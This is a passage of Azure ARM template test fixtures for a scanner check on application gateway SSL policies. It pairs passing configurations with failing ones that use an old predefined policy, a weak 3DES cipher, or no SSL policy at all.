\"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"defoult\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"name\": \"with_policyName_fail3\",\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\"\n      ],\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"tier\": \"Standard\",\n          \"capacity\": \"[parameters('capacity')]\"\n        },\n        \"sslCertificates\": [\n          {\n            \"name\": \"appGatewaySslCert\",\n            \"properties\": {\n              \"data\": \"[parameters('certData')]\",\n              \"password\": \"[parameters('certPassword')]\"\n            }\n          }\n        ],\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGatewayFrontendIP\",\n            \"properties\": {\n              \"PublicIPAddress\": {\n                \"id\": \"[variables('publicIPRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"appGatewayFrontendPort\",\n            \"properties\": {\n              \"Port\": 443\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"appGatewayBackendPool\",\n            \"properties\": {\n              \"BackendAddresses\": [\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress1')]\"\n                },\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress2')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"appGatewayBackendHttpSettings\",\n            \"properties\": {\n              \"Port\": 80,\n              \"Protocol\": \"Http\",\n              \"CookieBasedAffinity\": \"Disabled\"\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"appGatewayHttpListener\",\n            \"properties\": {\n              \"FrontendIPConfiguration\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGatewayName'), 'appGatewayFrontendIP')]\"\n              },\n              \"FrontendPort\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGatewayName'), 'appGatewayFrontendPort')]\"\n              },\n              \"Protocol\": \"Https\",\n              \"SslCertificate\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/sslCertificates', variables('applicationGatewayName'), 'appGatewaySslCert')]\"\n              }\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"Name\": \"rule1\",\n            \"properties\": {\n              \"RuleType\": \"Basic\",\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGatewayName'), 'appGatewayHttpListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGatewayName'), 'appGatewayBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]\"\n              }\n            }\n          }\n        ],\n        \"sslPolicy\": {\n          \"policyType\": \"Predefined\",\n          \"policyName\": \"20150501\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/with_policyName_pass1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"addressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the Virtual Network\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/28\",\n      \"metadata\": {\n        \"description\": \"Subnet prefix\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Standard_Small\",\n        \"Standard_Medium\",\n        \"Standard_Large\"\n      ],\n      \"defaultValue\": \"Standard_Medium\",\n      \"metadata\": {\n        \"description\": \"Sku Name\"\n      }\n    },\n    \"capacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Number of instances\"\n      }\n    },\n    \"backendIpAddress1\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 1\"\n      }\n    },\n    \"backendIpAddress2\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 2\"\n      }\n    },\n    \"certData\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Base-64 encoded form of the .pfx file\"\n      }\n    },\n    \"certPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for .pfx certificate\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"applicationGatewayName\": \"applicationGateway1\",\n    \"publicIPAddressName\": \"publicIp1\",\n    \"virtualNetworkName\": \"virtualNetwork\",\n    \"subnetName\": \"appGatewaySubnet\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"publicIPRef\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2021-02-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[defoult\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"name\": \"with_policyName_pass1\",\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\"\n      ],\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"tier\": \"Standard\",\n          \"capacity\": \"[parameters('capacity')]\"\n        },\n        \"sslCertificates\": [\n          {\n            \"name\": \"appGatewaySslCert\",\n            \"properties\": {\n              \"data\": \"[parameters('certData')]\",\n              \"password\": \"[parameters('certPassword')]\"\n            }\n          }\n        ],\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGatewayFrontendIP\",\n            \"properties\": {\n              \"PublicIPAddress\": {\n                \"id\": \"[variables('publicIPRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"appGatewayFrontendPort\",\n            \"properties\": {\n              \"Port\": 443\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"appGatewayBackendPool\",\n            \"properties\": {\n              \"BackendAddresses\": [\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress1')]\"\n                },\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress2')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"appGatewayBackendHttpSettings\",\n            \"properties\": {\n              \"Port\": 80,\n              \"Protocol\": \"Http\",\n              \"CookieBasedAffinity\": \"Disabled\"\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"appGatewayHttpListener\",\n            \"properties\": {\n              \"FrontendIPConfiguration\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGatewayName'), 'appGatewayFrontendIP')]\"\n              },\n              \"FrontendPort\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGatewayName'), 'appGatewayFrontendPort')]\"\n              },\n              \"Protocol\": \"Https\",\n              \"SslCertificate\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/sslCertificates', variables('applicationGatewayName'), 'appGatewaySslCert')]\"\n              }\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"Name\": \"rule1\",\n            \"properties\": {\n              \"RuleType\": \"Basic\",\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGatewayName'), 'appGatewayHttpListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGatewayName'), 'appGatewayBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]\"\n              }\n            }\n          }\n        ],\n        \"sslPolicy\": {\n          \"policyType\": \"Predefined\",\n          \"policyName\": \"AppGwSslPolicy20220101S\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/with_protocolversion_and_cipher_fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"addressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the Virtual Network\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/28\",\n      \"metadata\": {\n        \"description\": \"Subnet prefix\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Standard_Small\",\n        \"Standard_Medium\",\n        \"Standard_Large\"\n      ],\n      \"defaultValue\": \"Standard_Medium\",\n      \"metadata\": {\n        \"description\": \"Sku Name\"\n      }\n    },\n    \"capacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Number of instances\"\n      }\n    },\n    \"backendIpAddress1\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 1\"\n      }\n    },\n    \"backendIpAddress2\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 2\"\n      }\n    },\n    \"certData\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Base-64 encoded form of the .pfx file\"\n      }\n    },\n    \"certPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for .pfx certificate\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"applicationGatewayName\": \"applicationGateway1\",\n    \"publicIPAddressName\": \"publicIp1\",\n    \"virtualNetworkName\": \"virtualNetwork1\",\n    \"subnetName\": \"appGatewaySubnet\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"publicIPRef\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2021-02-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"defoult\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"name\": \"with_protocolversion_and_cipher_fail2\",\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\"\n      ],\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"tier\": \"Standard\",\n          \"capacity\": \"[parameters('capacity')]\"\n        },\n        \"sslCertificates\": [\n          {\n            \"name\": \"appGatewaySslCert\",\n            \"properties\": {\n              \"data\": \"[parameters('certData')]\",\n              \"password\": \"[parameters('certPassword')]\"\n            }\n          }\n        ],\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGatewayFrontendIP\",\n            \"properties\": {\n              \"PublicIPAddress\": {\n                \"id\": \"[variables('publicIPRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"appGatewayFrontendPort\",\n            \"properties\": {\n              \"Port\": 443\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"appGatewayBackendPool\",\n            \"properties\": {\n              \"BackendAddresses\": [\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress1')]\"\n                },\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress2')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"appGatewayBackendHttpSettings\",\n            \"properties\": {\n              \"Port\": 80,\n              \"Protocol\": \"Http\",\n              \"CookieBasedAffinity\": \"Disabled\"\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"appGatewayHttpListener\",\n            \"properties\": {\n              \"FrontendIPConfiguration\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations',variables('applicationGatewayName'), 'appGatewayFrontendIP')]\"\n              },\n              \"FrontendPort\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts',variables('applicationGatewayName'), 'appGatewayFrontendPort')]\"\n              },\n              \"Protocol\": \"Https\",\n              \"SslCertificate\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/sslCertificates',variables('applicationGatewayName'), 'appGatewaySslCert')]\"\n              }\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"Name\": \"rule1\",\n            \"properties\": {\n              \"RuleType\": \"Basic\",\n              \"httpListener\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners',variables('applicationGatewayName'), 'appGatewayHttpListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]\"\n              }\n            }\n          }\n        ],\n        \"sslPolicy\": {\n          \"policyType\": \"Custom\",\n          \"minProtocolVersion\": \"TLSv1_2\",\n          \"cipherSuites\": [\n             \"TLS_AES_128_GCM_SHA256\",\"TLS_AES_256_GCM_SHA384\",\n             \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\n             \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\",\n             \"TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA\"\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/with_protocolversion_and_cipher_pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"addressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the Virtual Network\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/28\",\n      \"metadata\": {\n        \"description\": \"Subnet prefix\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Standard_Small\",\n        \"Standard_Medium\",\n        \"Standard_Large\"\n      ],\n      \"defaultValue\": \"Standard_Medium\",\n      \"metadata\": {\n        \"description\": \"Sku Name\"\n      }\n    },\n    \"capacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Number of instances\"\n      }\n    },\n    \"backendIpAddress1\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 1\"\n      }\n    },\n    \"backendIpAddress2\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address for Backend Server 2\"\n      }\n    },\n    \"certData\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Base-64 encoded form of the .pfx file\"\n      }\n    },\n    \"certPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for .pfx certificate\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"applicationGatewayName\": \"applicationGateway1\",\n    \"publicIPAddressName\": \"publicIp1\",\n    \"virtualNetworkName\": \"virtualNetwork\",\n    \"subnetName\": \"appGatewaySubnet\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"publicIPRef\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2021-02-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"defoult\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"name\": \"with_protocolversion_and_cipher_pass\",\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\"\n      ],\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"tier\": \"Standard\",\n          \"capacity\": \"[parameters('capacity')]\"\n        },\n        \"sslCertificates\": [\n          {\n            \"name\": \"appGatewaySslCert\",\n            \"properties\": {\n              \"data\": \"[parameters('certData')]\",\n              \"password\": \"[parameters('certPassword')]\"\n            }\n          }\n        ],\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGatewayFrontendIP\",\n            \"properties\": {\n              \"PublicIPAddress\": {\n                \"id\": \"[variables('publicIPRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"appGatewayFrontendPort\",\n            \"properties\": {\n              \"Port\": 443\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"appGatewayBackendPool\",\n            \"properties\": {\n              \"BackendAddresses\": [\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress1')]\"\n                },\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddress2')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"appGatewayBackendHttpSettings\",\n            \"properties\": {\n              \"Port\": 80,\n              \"Protocol\": \"Http\",\n              \"CookieBasedAffinity\": \"Disabled\"\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"appGatewayHttpListener\",\n            \"properties\": {\n              \"FrontendIPConfiguration\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations',variables('applicationGatewayName'), 'appGatewayFrontendIP')]\"\n              },\n              \"FrontendPort\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts',variables('applicationGatewayName'), 'appGatewayFrontendPort')]\"\n              },\n              \"Protocol\": \"Https\",\n              \"SslCertificate\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/sslCertificates',variables('applicationGatewayName'), 'appGatewaySslCert')]\"\n              }\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"Name\": \"rule1\",\n            \"properties\": {\n              \"RuleType\": \"Basic\",\n              \"httpListener\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners',variables('applicationGatewayName'), 'appGatewayHttpListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]\"\n              }\n            }\n          }\n        ],\n        \"sslPolicy\": {\n          \"policyType\": \"Custom\",\n          \"minProtocolVersion\": \"TLSv1_2\",\n          \"cipherSuites\": [\n            \"TLS_AES_128_GCM_SHA256\",\n            \"TLS_AES_256_GCM_SHA384\",\n            \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\n            \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\"\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/without_sslPolicy_fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"addressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the Virtual Network\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/28\",\n      \"metadata\": {\n        \"description\": \"Subnet prefix\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Standard_Small\",\n        \"Standard_Medium\",\n        \"Standard_Large\"\n      ],\n      \"defaultValue\": \"Standard_Medium\",\n      \"metadata\": {\n        \"description\": \"Sku Name\"\n      }\n    },\n    \"capacity\": {\n      \"type\": \"int\",\n      \"minValue\": 1,\n      \"maxValue\": 10,\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Number of instances\"\n      }\n    },\n    \"backendIpAddressDefault\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address of Default Backend Server\"\n      }\n    },\n    \"backendIpAddressForPathRule1\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address of Backend Server for Path Rule 1 match\"\n      }\n    },\n    \"backendIpAddressForPathRule2\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"IP Address of Backend Server for Path Rule 2 match\"\n      }\n    },\n    \"pathMatch1\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Path match string for Path Rule 1\"\n      }\n    },\n    \"pathMatch2\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Path match string for Path Rule 2\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"applicationGatewayName\": \"applicationGateway1\",\n    \"publicIPAddressName\": \"publicIp1\",\n    \"virtualNetworkName\": \"virtualNetwork1\",\n    \"subnetName\": \"appGatewaySubnet\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"publicIPRef\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-08-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2020-08-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"name\": \"without_sslPolicy_fail\",\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]\"\n      ],\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"tier\": \"Standard\",\n          \"capacity\": \"[parameters('capacity')]\"\n        },\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGatewayFrontendPublicIP\",\n            \"properties\": {\n              \"PublicIPAddress\": {\n                \"id\": \"[variables('publicIPRef')]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"appGatewayFrontendPort80\",\n            \"properties\": {\n              \"Port\": 80\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"appGatewayBackendPoolDefault\",\n            \"properties\": {\n              \"BackendAddresses\":[\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddressDefault')]\"\n                }\n              ]\n            }\n          },\n          {\n            \"name\": \"appGatewayBackendPool1\",\n            \"properties\": {\n              \"BackendAddresses\": [\n                {\n                  \"IpAddress\": \"[parameters('backendIpAddressForPathRule1')]\"\n                }\n              ]\n            }\n          },\n          {\n            \"name\": \"appGatewayBackendPool2\",\n            \"properties\": {\n              \"BackendAddresses\": [\n                {\n                  \"IpAddress\": 